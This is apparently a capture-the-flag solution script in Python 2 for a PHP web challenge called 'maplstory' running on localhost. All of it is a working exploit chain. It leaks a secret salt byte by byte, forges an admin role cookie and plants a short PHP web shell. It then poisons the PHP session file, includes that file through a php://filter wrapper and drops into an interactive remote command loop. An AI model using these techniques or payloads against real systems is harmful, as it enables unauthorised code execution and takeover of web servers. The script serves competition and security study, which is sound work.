solve_maplstory

solve_maplstory.py

import requests
import string
from hashlib import *

phpsessid = 't6f6errrlbpc4ldos3jdtdf6or'
sess_file = '/var/lib/php/sessions/sess_' + phpsessid
_role = '8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe'	# user role

def settting(name):
	s = requests.Session()
	url = 'http://localhost:7003/?page=setting.php'
	data = {'name': name}
	cookies =  {'_role': _role, 'PHPSESSID': phpsessid}
	r = s.post(url,data=data,cookies=cookies)

def character(command):
	s = requests.Session()
	url = 'http://localhost:7003/?page=character.php'
	data = {'command': command}
	cookies =  {'_role': _role, 'PHPSESSID': phpsessid}
	r = s.post(url,data=data,cookies=cookies)

def route_sessfile(inject_cookie=None,cmd=None):
	s = requests.Session()
	url = 'http://localhost:7003/index.php?page=' + sess_file
	cookies =  {'_role': _role, 'PHPSESSID': phpsessid, '0': inject_cookie}
	if cmd:
		params = {'s': cmd}
		r = s.get(url,cookies=cookies,params=params)
		return r.content
	else:
		r = s.get(url,cookies=cookies)
		res = r.content.split(':"')[1].split('";')[0]
		return res

def route(page):
	s = requests.Session()
	url = 'http://localhost:7003/index.php?page=' + page
	cookies =  {'_role': _role, 'PHPSESSID': phpsessid}
	r = s.get(url,cookies=cookies)
	return r.content

def give_pet(pet,email):
	s = requests.Session()
	url = 'http://localhost:7003/index.php?page=admin.php'
	data = {'pet': pet, 'email': email}
	cookies =  {'_role': _role, 'PHPSESSID': phpsessid}
	r = s.post(url,data=data,cookies=cookies)

# for i in range(1,23):
# 	settting('a'*i)
# 	print i, len(route(sess_file).decode('hex'))
# => len(salt) = 16

print '[+] Get salt first ...'
salt = ''

for i in range(1,17):
	n = 16 - i
	settting('a'*n)
	base = route_sessfile().decode('hex')[:16]
	for char in string.printable:
		check = settting('a'*n + salt + char)
		if route_sessfile().decode('hex')[:16] == base:
			salt += char
			print 'salt: ' + salt
			break

for char in string.printable:
	if sha256('user' + salt + char).hexdigest() == _role:
		salt += char
		print 'salt: ' + salt
		break

salt = 'ms_g00d_0ld_g4m3'

admin_hash = sha256('admin' + salt).hexdigest()
_role = admin_hash	# admin role
dir_upload = './upload/' + md5(salt+ 'ducnguyen17199@gmail.com').hexdigest() + '/'

print '[+] admin_hash: ' + admin_hash
print '[+] dir_upload: ' + dir_upload

shell = "<?=`$_GET[s]`;".encode('base64').replace('=','').strip()
assert len(shell) <= 20
character(shell)

name = '<?=include"$_COOKIE[0]'
assert len(name) <= 22
settting(name)

php_wrapper = 'php://filter/convert.base64-decode/resource=./upload/d1fa56116d4e47a58936ac087c785c75/command.txt'

give_pet('panda', 'ducnguyen17199@gmail.com')

print 'Okay here your shell. Enjoy!'
while True:
	cmd = raw_input('> ')
	print route_sessfile(php_wrapper,cmd)